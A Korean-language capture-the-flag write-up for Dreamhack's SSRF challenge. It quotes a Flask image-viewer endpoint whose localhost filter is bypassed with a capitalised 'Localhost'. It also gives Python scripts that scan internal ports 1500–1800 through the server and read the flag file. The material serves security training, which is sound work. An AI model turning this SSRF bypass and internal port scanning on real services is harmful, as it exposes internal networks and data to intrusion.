Dreamhack | web-ssrf
Dreamhack Web SSRF
본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.
해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.
문제 내용
해당 커리큘럼은 SSRF으로 서버 사이드 요청 위조로 클라이언트의 요청을 서버 측 요청으로 위조하여 내부망에 접근하는 것입니다.
이 취약점을 이용하여 /app/flag.txt를 읽어오면 된다.
문제 풀이
접속하면 Image Viewer가 존재하는데 접속하면 이미지의 경로 입력이 있으며 View 버튼을 클릭할 경우 해당 그림을 출력해준다.
Image Viewer를 통해서 없을 것으로 예상되는 아무 파일명을 입력한 결과 Not Found X에 해당하는 이미지가 나왔다.
app.py
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
img_viewer의 해당 하는 코드로 url이라는 변수는 통해 POST 메소드로 받고 있음을 알 수 있고, url 파라미터의 첫번째 값이 /면 url = "http://localhost:8000" + url이 된다.
즉, Dreamhack 로고 이미지를 불러 오는 경우 url = "http://localhost:8000" + /static/dream.png가 되는 것이다.
위 경우가 아니면 입력 값에 localhost, 127.0.0.1가 포함 된 경우 error.png를 보여주게 된다.
또한, 로컬 서버를 1500~1800 포트 사이에서 실행하고 있다.
필터링 우회를 위해 Localhost를 이용할 것이고, 스크립트 작성에 용이하기 위해 잘못된 포트를 입력했을 때 어떠한 출력이 존재하는지 확인해보겠습니다.
이미지를 출력하는데 base64 인코딩 된 값을 출력하기에 iVBORw0K가 포함된 response를 제외하면 될 것으로 보인다.
import requests
from tqdm import tqdm
url = 'http://host3.dreamhack.games:12312/img_viewer'
ERROR = 'iVBORw0K'
def find_port():
for port in tqdm(range(1500, 1801)):
data = {
'url' : f'http://Localhost:{port}'
}
r = requests.post(url, data = data)
if ERROR not in r.text:
print(f'[*] PORT == {port}')
return port
if __name__ == '__main__':
port = find_port()
해당 스크립트로 에러 값이 아닌 곳이 현재 열려있는 로컬 서버의 포트가 됩니다.
이후 문제에서 말해준 경로를 통해서 FLAG를 읽어오면 된다.
def find_flag(port):
data = {
'url' : f'http://Localhost:{port}/flag.txt'
}
r = requests.post(url, data = data)
first_idx = r.text.find('<img src="data:image/png;base64, ') + len('<img src="data:image/png;base64, ')
end_idx = r.text.find('"', first_idx) + 1
flag = base64.b64decode(r.text[first_idx:end_idx]).decode('utf-8')
print(f'[*] FLAG = {flag}')
base64 인코딩되는 값의 인덱스를 받아와 디코딩하는 방식으로 진행하면 FLAG가 정상적으로 나오는 것을 알 수 있다.